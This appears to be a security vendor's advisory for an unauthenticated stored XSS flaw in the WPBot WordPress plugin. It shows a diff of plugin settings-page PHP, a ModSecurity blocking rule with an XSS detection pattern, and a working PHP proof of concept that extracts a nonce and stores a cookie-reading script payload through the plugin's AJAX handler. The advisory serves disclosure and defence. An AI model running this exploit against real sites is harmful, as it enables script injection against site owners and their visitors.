-                                    <?php echo esc_html_e('You can use the ChatBot in', 'chatbot'); ?> <b><?php echo esc_html_e('ANY language', 'chatbot'); ?></b>. <?php echo esc_html_e('Just translate the texts used by the ChatBot from the WordPress dashboard ChatBot Pro->', 'chatbot'); ?><b><?php echo esc_html_e('Language Center. Multi language', 'chatbot'); ?></b> <?php echo esc_html_e('module is available in the Master License..','chatbot'); ?>
-                                    </div>
-                            </div>
-                        </div>
-                        <div class="panel panel-default">
-                            <div class="panel-heading" role="tab" id="headingtwo">
-                                <h4 class="panel-title">
-                                <a class="collapsed" role="button" data-toggle="collapse" data-parent="#accordion" href="#collapsetwo" aria-expanded="false" aria-controls="collapseOne"> <?php esc_html_e('Simple Text Responses', 'chatbot'); ?>  </a>
-                                </h4>
-                            </div>
-                            <div id="collapsetwo" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingtwo">
-                                    <div class="panel-body">
-                                    <?php echo esc_html_e('You can use ChatBot Pro->Simple Text Responses to create', 'chatbot'); ?> <b><?php echo esc_html_e('text-based responses', 'chatbot'); ?></b> <?php echo esc_html_e('that users may ask your ChatBot. Just define the questions, answers, and some keywords and you are done. This is a much simpler', 'chatbot'); ?>  <b><?php echo esc_html_e('alternative ', 'chatbot'); ?></b> <?php echo esc_html_e('to DialogFlow or OpenAI.', 'chatbot'); ?>
-                                    </div>
-                            </div>
-                        </div>
-                        <div class="panel panel-default">
-                            <div class="panel-heading" role="tab" id="headingThree">
-                                <h4 class="panel-title">
-                                <a class="collapsed" role="button" data-toggle="collapse" data-parent="#accordion" href="#collapseThree" aria-expanded="false" aria-controls="collapseThree"> <?php esc_html_e('Conversational Forms', 'chatbot'); ?>  </a>
-                                </h4>
-                            </div>
-                            <div id="collapseThree" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingThree">
-                                <div class="panel-body">
-                                <?php echo esc_html_e('Use conversational forms to collect information from the users. This is also great for Button driven workflow. Create conditional conversations and forms for a native WordPress ChatBot experience. Build Standard Forms, Dynamic Forms with', 'chatbot'); ?> <b> <?php echo esc_html_e('conditional fields, Calculators, Appointment booking', 'chatbot'); ?></b> <?php echo esc_html_e('etc.', 'chatbot'); ?>
-                                </div>
-                            </div>
-                        </div>
-                        <div class="panel panel-default">
-                            <div class="panel-heading" role="tab" id="headingten">
-                                <h4 class="panel-title">
-                                <a class="collapsed" role="button" data-toggle="collapse" data-parent="#accordion" href="#collapseten" aria-expanded="false" aria-controls="collapseten"> <?php esc_html_e('Retargeting (Pro feature)', 'chatbot'); ?>  </a>
-                                </h4>
-                            </div>
-                            <div id="collapseten" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingten">
-                                <div class="panel-body">
-                                <?php echo esc_html_e('Retargeting is a powerful feature to grab your user’s attention with motivating information (a sale, coupon, ebook etc.). You can trigger a Retargeting message and the ChatBot window will automatically', 'chatbot'); ?> <b> <?php echo esc_html_e('automatically ', 'chatbot'); ?></b><?php echo esc_html_e('open up with your message.  You can trigger Retargeting for ', 'chatbot'); ?><b> <?php echo esc_html_e('Exit Intent, Exit Intent, Scroll Intent, Auto After “X” Seconds, Checkout', 'chatbot'); ?></b> <?php echo esc_html_e('etc.', 'chatbot'); ?>
-                                </div>
-                            </div>
-                        </div>
-                        <div class="panel panel-default">
-                            <div class="panel-heading" role="tab" id="headingFour">
-                                <h4 class="panel-title">
-                                <a class="collapsed" role="button" data-toggle="collapse" data-parent="#accordion" href="#collapseFour" aria-expanded="false" aria-controls="collapseFour"> <?php esc_html_e('OpenAI or DialogFlow', 'chatbot'); ?>  </a>
-                                </h4>
-                            </div>
-                            <div id="collapseFour" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingFour">
-                                <div class="panel-body">
-                                <?php echo esc_html_e('If you need a bot that can understand natural language better, use either OpenAI or DialogFlow. Between the two', 'chatbot'); ?> <b> <?php echo esc_html_e('DialogFlow', 'chatbot'); ?></b> <?php echo esc_html_e('is better if you want to', 'chatbot'); ?> <b> <?php echo esc_html_e('provide customer support', 'chatbot'); ?></b>. <?php echo esc_html_e('OpenAI is better at generic questions and training OpenAI also requires a large dataset. But you do not have to use either 3rd party service. Using OpenAI or DialogFlow requires some patience and', 'chatbot'); ?> <b> <?php echo esc_html_e('effort', 'chatbot'); ?></b>. <?php echo esc_html_e('You may very well achieve what you need using ', 'chatbot'); ?><b> <?php echo esc_html_e('Simple Text Responses', 'chatbot'); ?></b> <?php echo esc_html_e('and/or', 'chatbot'); ?> <b> <?php echo esc_html_e('Conversational form builder', 'chatbot'); ?></b> <?php echo esc_html_e('instead.', 'chatbot'); ?>
-                                </div>
-                            </div>
-                        </div>
-                        <div class="panel panel-default">
-                            <div class="panel-heading" role="tab" id="headingFive">
-                                <h4 class="panel-title">
-                                <a class="collapsed" role="button" data-toggle="collapse" data-parent="#accordion" href="#collapseFive" aria-expanded="false" aria-controls="collapseFive"> <?php esc_html_e('Getting Help', 'chatbot'); ?>  </a>
-                                </h4>
-                            </div>
-                            <div id="collapseFive" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingFive">
-                                <div class="panel-body">
-                                    <?php echo esc_html_e('We have built-in Help section under each module. Please check them out and you will get many answers to the questions you may have. If you cannot find the answer to something particular, just contact us.', 'chatbot'); ?> <b><?php echo esc_html_e('Pro version ', 'chatbot'); ?></b><?php echo esc_html_e('users can open a support ticket from here. We are ', 'chatbot'); ?><b><?php echo esc_html_e('friendly ', 'chatbot'); ?></b><?php echo esc_html_e('and always here to help.', 'chatbot'); ?>
-                                </div>
-                            </div>
-                        </div>
-                    </div>
-                    <!-- end new Section -->
-
-
-                </div>
-            <script type="text/javascript">
-                  jQuery(document).ready(function($){
-                      var url=document.URL;
-                      var arr=url.split('#');
-                      var tab_tar = '.'+arr[1];
-                      setTimeout(function(){
-                              jQuery(tab_tar).trigger('click');
-                          }, 500);
-
-                      jQuery('.wppt_nav_container .nav-tab').on('click', function(e){
-                          e.preventDefault();
-                          var section_id = jQuery(this).attr('href');
-                          jQuery('.wppt_nav_container .nav-tab').removeClass('nav-tab-active');
-                          jQuery(this).addClass('nav-tab-active');
-                          jQuery('.wppt-settings-section').hide();
-                          jQuery('.wppt-settings-section').each(function(){
-                              jQuery(section_id).show();
-                          });
-                      });
-                  })
-            </script>
-          </section>
-          <section id="section-flip-2">
-            <div class="top-section">
-              <div class="row">
-                <div class="col-xs-12">
-                  <!-- <div class="<?php // esc_attr_e( 'cxsc-settings-blocks-notic" style="<?php // echo esc_attr('background: #2271B1'); ?>">
-                    <p class="<?php // esc_attr_e( 'd-ib"><?php // esc_html_e('New horizontal/wide template is now available. Select from Icons and Themes', 'chatbot'); ?>
-                  </div> -->
-
-                  <h3 class="qcld-wpbot-main-tabs-title"><?php esc_html_e('General settings', 'chatbot'); ?></h3>
-
-                  <?php if( get_option( 'ai_enabled') != 1 && get_option('qcld_openrouter_enabled') !='1' ){ ?>
-                  <div class="qcld-general-settings-connection-notic">
-
-                                    <p>
-                  <?php esc_html_e( ' When you activate the plugin, by default only the Site search option will work. Site search displays links to your website pages that contain the keywords in the user query.','chatbot' ); ?>
-                      </p>
-                      <p>
-                     <?php esc_html_e( 'Use ','chatbot' ); ?><a href="<?php echo esc_url(admin_url('admin.php?page=simple-text-response')); ?>"><b><?php esc_html_e( 'Simple Text Responses','chatbot' ); ?></b></a> <?php esc_html_e( ' or','chatbot' ); ?> <a href="<?php echo esc_url(admin_url('admin.php?page=wpbot_openAi')); ?>"><b><?php esc_html_e( 'Connect to an AI service','chatbot' ); ?> </b></a><?php esc_html_e( 'like OpenAI or OpenRouter. Openrouter supports all the major AI models like Anthropic, Google Gemini, Meta, Mistral, Cohere, xAI, Perplexity AI, DeepSeek etc. and also provides Free Credits.','chatbot' ); ?>
-
-                   </p>
-
-                  <a class="qcld-general-settings-close" href="javascript:void(0);" onclick="this.parentElement.style.display='none'; localStorage.setItem('qcld_general_settings_notice_closed', '1');">×</a>
-                  </div>
-                  <?php } ?>
-
-                  <div class="cxsc-settings-blocks-notic">
-                    <p class="d-ib"><i class="dashicons dashicons-yes" aria-hidden="true"></i> <?php esc_html_e('Please see the plugin`s Getting Started section for how to create interactions.', 'chatbot'); ?></p>
-                    <p class="d-ib"><i class="dashicons dashicons-yes" aria-hidden="true"></i> <?php esc_html_e('You can change ALL the texts used by the ChatBot to YOUR language here to make it speak French, German, Spanish etc. -> Change Language', 'chatbot'); ?></p>
-                    <p class="d-ib"><i class="dashicons dashicons-yes" aria-hidden="true"></i> <?php esc_html_e('Please see the plugin`s Help and Debugging section to troubleshoot common issues.', 'chatbot'); ?></p>
-                  </div>
-
-                  <b>
-                  <!-- <p>Please see the plugin's Help and Debugging section to troubleshoot common issues.</p> -->
-                  </b>
-
-
-                  <div class="cxsc-settings-blocks">
-                    <div class="form-group">
-                      <?php
-                        $qcld_wpbot_url = get_site_url();
-                        $qcld_wpbot_url_parts = wp_parse_url($qcld_wpbot_url);
-                        $qcld_wpbot_domain = $qcld_wpbot_url_parts['host'];
-                        $qcld_wpbot_admin_email = get_option('admin_email');
-                      ?>
-                      <h4 class="qc-opt-title"><?php esc_html_e('Emails Will be Sent to', 'chatbot'); ?></h4>
-                      <input type="text" class="form-control qc-opt-dcs-font"
-                             name="qlcd_wp_chatbot_admin_email"
-                             value="<?php echo (get_option('qlcd_wp_chatbot_admin_email') != '' ? esc_attr(get_option('qlcd_wp_chatbot_admin_email')) : esc_attr(sanitize_email($qcld_wpbot_admin_email)) ); ?>">
-                      <label class="qcld_label_width_full" for="disable_wp_chatbot"><?php esc_html_e('Support and Call Back requests will be sent to this address', 'chatbot'); ?> </label>
-                    </div>
-                  </div>
-                  <div class="cxsc-settings-blocks">
-                    <div class="form-group">
-                        <?php
-                          $qcld_wpbot_url = get_site_url();
-                          $qcld_wpbot_url_parts = wp_parse_url($qcld_wpbot_url);
-                          $qcld_wpbot_domain = $qcld_wpbot_url_parts['host'];
-                          $qcld_wpbot_from_email = "wordpress@" . $qcld_wpbot_domain;
-                        ?>
-                        <h4 class="qc-opt-title"><?php esc_html_e('From Email Address', 'chatbot'); ?></h4>
-                        <input type="text" class="form-control qc-opt-dcs-font"
-                           name="qlcd_wp_chatbot_from_email"
-                           value="<?php echo (get_option('qlcd_wp_chatbot_from_email') != '' ?  esc_attr( get_option('qlcd_wp_chatbot_from_email')) :  esc_attr(sanitize_email($qcld_wpbot_from_email))); ?> ">
-                        <label class="qcld_label_width_full" for="qlcd_wp_chatbot_from_email"><?php esc_html_e('All emails will be sent from this email address. If you change the From Email Address then please make sure the domain remains the same as where WordPress is installed. Otherwise, the emails may not be received.', 'chatbot'); ?> </label>
-                    </div>
-                  </div>
-                </div>
-              </div>
-              <div class="row">
-                <div class="col-xs-12">
-                <div class="form-group">
-                <h4 class="qc-opt-title">
-                      <?php esc_html_e('Disable Floating Button', 'chatbot'); ?>
-                  </h4>
-                  <div class="cxsc-settings-blocks">
-                    <input value="1" id="disable_floating_button" type="checkbox"
-                                                   name="disable_floating_button" <?php echo (get_option('disable_floating_button') == 1 ?  esc_attr('checked' ): ''); ?>>
-                    <label for="disable_floating_button">
-                        <?php esc_html_e('Disable Floating Button', 'chatbot'); ?>
-                    </label>
-                  </div>
-                  </div>
-                </div>
-              </div>
-              <div class="row">
-                <div class="col-xs-12">
-                <div class="form-group">
-                <h4 class="qc-opt-title">
-                      <?php  esc_html_e('Enable Chatbot On WordPress search', 'chatbot'); ?>
-                  </h4>
-                  <div class="cxsc-settings-blocks">
-                    <input value="1" id="wpbot_enable_on_search" type="checkbox"
-                                                   name="wpbot_enable_on_search" <?php echo (get_option('wpbot_enable_on_search') == 1 ? esc_attr('checked') : ''); ?>>
-                    <label for="wpbot_enable_on_search">
-                        <?php esc_html_e('Enable Chatbot On WordPress search', 'chatbot'); ?>
-                    </label>
-                  </div>
-                  </div>
-                </div>
-              </div>
-              <div class="row">
-                <div class="col-xs-12">
-                    <div class="cxsc-settings-blocks">
-                      <div class="form-group">
-                        <h4 class="qc-opt-title"> <?php echo esc_html__("Skip Greetings (Asking for Name) and Show Start Menu", 'chatbot'); ?> </h4>
-                        <div class="cxsc-settings-blocks">
-                          <input value="1" id="skip_wp_greetings" type="checkbox"
-                          name="skip_wp_greetings" <?php echo(get_option('skip_wp_greetings') == 1 ? 'checked' : ''); ?>>
-                          <label for="skip_wp_greetings"><?php echo esc_html__("Skip Greetings (Asking for Name) and Show Start Menu", 'chatbot'); ?> </label>
-                        </div>
-                      </div>
-                    </div>
-                </div>
-              </div>
-
-              <div class="row">
-                <div class="col-xs-12">
-                    <div class="cxsc-settings-blocks">
-                      <div class="form-group">
-                        <h4 class="qc-opt-title"> <?php echo esc_html__("Skip Greetings (Asking for Name) and Disable Start Menu", 'chatbot'); ?> </h4>
-                        <div class="cxsc-settings-blocks">
-                          <input value="1" id="skip_wp_greetings_donot_show_menu" type="checkbox"
-                          name="skip_wp_greetings_donot_show_menu" <?php echo(get_option('skip_wp_greetings_donot_show_menu') == 1 ? 'checked' : ''); ?>>
-                          <label for="skip_wp_greetings_donot_show_menu"><?php echo esc_html__("Skip Greetings (Asking for Name) and Disable Start Menu", 'chatbot'); ?> </label>
-                        </div>
-                      </div>
-                    </div>
-                </div>
-              </div>
-              <div class="row">
-                <div class="col-xs-12">
-                <div class="form-group">
-                <h4 class="qc-opt-title">
-                      <?php esc_html_e('Show Start Menu After Greetings', 'chatbot'); ?>
-                  </h4>
-                  <div class="cxsc-settings-blocks">
-                    <input value="1" id="show_menu_after_greetings" type="checkbox"
-                                                   name="show_menu_after_greetings" <?php echo (get_option('show_menu_after_greetings') == 1 ?  esc_attr('checked' ): ''); ?>>
-                    <label for="show_menu_after_greetings">
-                        <?php esc_html_e('Show Start Menu After Greetings', 'chatbot'); ?>
-                    </label>
-                  </div>
-                  </div>
-                </div>
-              </div>
-              <div class="row">
-                <div class="col-xs-12">
-                <div class="form-group">
-                <h4 class="qc-opt-title">
-                      <?php esc_html_e('Disable Back to Start Menu', 'chatbot'); ?>
-                  </h4>
-                  <div class="cxsc-settings-blocks">
-                    <input value="1" id="disable_back_to_start_menu" type="checkbox"
-                                                   name="disable_back_to_start_menu" <?php echo (get_option('disable_back_to_start_menu') == 1 ?  esc_attr('checked' ): ''); ?>>
-                    <label for="disable_back_to_start_menu">
-                        <?php esc_html_e('Disable Back to Start Menu', 'chatbot'); ?>
-                    </label>
-                  </div>
-                  </div>
-                </div>
-              </div>
-              <div class="row">
-                <div class="col-xs-12">
-                <div class="form-group">
-                <h4 class="qc-opt-title">
-                    <?php esc_html_e('Disable WPBot', 'chatbot'); ?>
-                  </h4>
-                  <div class="cxsc-settings-blocks">
-                    <input value="1" id="disable_wp_chatbot" type="checkbox"
-                                                   name="disable_wp_chatbot" <?php echo (get_option('disable_wp_chatbot') == 1 ?  esc_attr('checked'): ''); ?>>
-                    <label for="disable_wp_chatbot">
-                      <?php esc_html_e('Disable WPBot to Load', 'chatbot'); ?>
-                    </label>
-                  </div>
-                </div>
-              </div>
-              </div>
-              <div class="row">
-                <div class="col-xs-12">
-                <div class="form-group">
-                <h4 class="qc-opt-title">
-                    <?php esc_html_e('Disable WPbot on Mobile Device', 'chatbot'); ?>
-                  </h4>
-                  <div class="cxsc-settings-blocks">
-                    <input value="1" id="disable_wp_chatbot_on_mobile" type="checkbox"
-                                                   name="disable_wp_chatbot_on_mobile" <?php echo (get_option('disable_wp_chatbot_on_mobile') == 1 ?  esc_attr('checked' ) : ''); ?>>
-                    <label for="disable_wp_chatbot_on_mobile">
-                      <?php esc_html_e('Disable WpBot to Load on Mobile Device', 'chatbot'); ?>
-                    </label>
-                  </div>
-                </div>
-              </div>
-        </div>
-              <div class="row">
-                <div class="col-xs-12">
-                <div class="form-group">
-                <h4 class="qc-opt-title">
-                    <?php esc_html_e('Enable RTL', 'chatbot'); ?>
-                  </h4>
-                  <div class="cxsc-settings-blocks">
-                    <input value="1" id="enable_wp_chatbot_rtl" type="checkbox"
-                                                   name="enable_wp_chatbot_rtl" <?php echo (get_option('enable_wp_chatbot_rtl') == 1 ?  esc_attr('checked' ): ''); ?>>
-                    <label for="enable_wp_chatbot_rtl">
-                      <?php esc_html_e('Enable RTL (Right to Left language) Support for Chat', 'chatbot'); ?>
-                    </label>
-                  </div>
-                </div>
-              </div>
-</div>
-              <div class="row">
-                <div class="col-xs-12">
-                <div class="form-group">
-                <h4 class="qc-opt-title">
-                    <?php esc_html_e('Open All Links in a New Window', 'chatbot'); ?>
-                  </h4>
-                  <div class="cxsc-settings-blocks">
-                    <input value="1" id="open_links_new_window" type="checkbox" name="open_links_new_window" <?php echo (get_option('open_links_new_window') == 1 ?  esc_attr('checked'): ''); ?>>
-                    <label for="open_links_new_window">
-                      <?php esc_html_e('Open All Links in a New Window', 'chatbot'); ?>
-                    </label>
-                  </div>
-                </div>
-              </div>
-</div>
-
-              <div class="row">
-                <div class="col-xs-12">
-                <div class="form-group">
-                <h4 class="qc-opt-title"><?php esc_html_e('Bot Response Delay', 'chatbot'); ?> </h4>
-                  <div class="cxsc-settings-blocks">
-                    <select name="wpbot_preloading_time" id="wpbot_preloading_time">
-                      <?php $current_preloading_time = get_option('wpbot_preloading_time'); ?>
-                  

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-13731
# Block unauthenticated stored XSS via 'conversation' parameter in WPBot AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261999,phase:2,deny,status:403,chain,msg:'CVE-2026-13731 - WPBot XSS via conversation parameter',severity:'CRITICAL',tag:'CVE-2026-13731'"
  SecRule ARGS_POST:action "@streq qcld_wpbot_conversational_save" "chain"
    SecRule ARGS_POST:conversation "@rx <script[^>]*>.*</script[^>]*>|<[^>]*on[a-z]+[^>]*=.*>" 
      "t:none,t:urlDecode,t:removeNulls,t:compressWhitespace"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13731 - WPBot <= 8.4.9 - Unauthenticated Stored Cross-Site Scripting via 'conversation' Parameter

// Configuration: Set the target WordPress site URL
$target_url = 'http://example.com'; // Change this to the target URL

// Step 1: Retrieve the AJAX nonce from a frontend page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'AtomicEdge-PoC/1.0');
$response = curl_exec($ch);
curl_close($ch);

if (!$response) {
    die('[!] Failed to fetch target URL. Check $target_url.');
}

// Extract the nonce from the JavaScript object emitted by wp_localize_script
// The nonce is typically in a variable like 'qcld_wpchatbot_nonce' or similar
preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches);
if (!isset($matches[1])) {
    preg_match('/wpbot_ajax_nonce[^=]*=['"]?([a-f0-9]+)['"]?/i', $response, $matches);
}

if (!isset($matches[1])) {
    die('[!] Could not extract AJAX nonce from frontend page. The plugin may not be active or the nonce variable name differs.');
}

$nonce = $matches[1];
echo "[+] Extracted AJAX nonce: $noncen";

// Step 2: Craft the XSS payload and send the AJAX request
$xss_payload = '<script>alert(document.cookie);</script>';

$post_data = array(
    'action'       => 'qcld_wpbot_conversational_save',
    'nonce'        => $nonce,
    'conversation' => $xss_payload
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'AtomicEdge-PoC/1.0');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response Body: " . ($response ? substr($response, 0, 500) : '(empty)') . "n";

if ($http_code == 200 && strpos($response, 'success') !== false) {
    echo "[+] Exploit successful: XSS payload stored. Visit the WPBot admin panel to trigger execution.n";
} else {
    echo "[!] Exploit may have failed. Check if the AJAX action or nonce is correct.n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.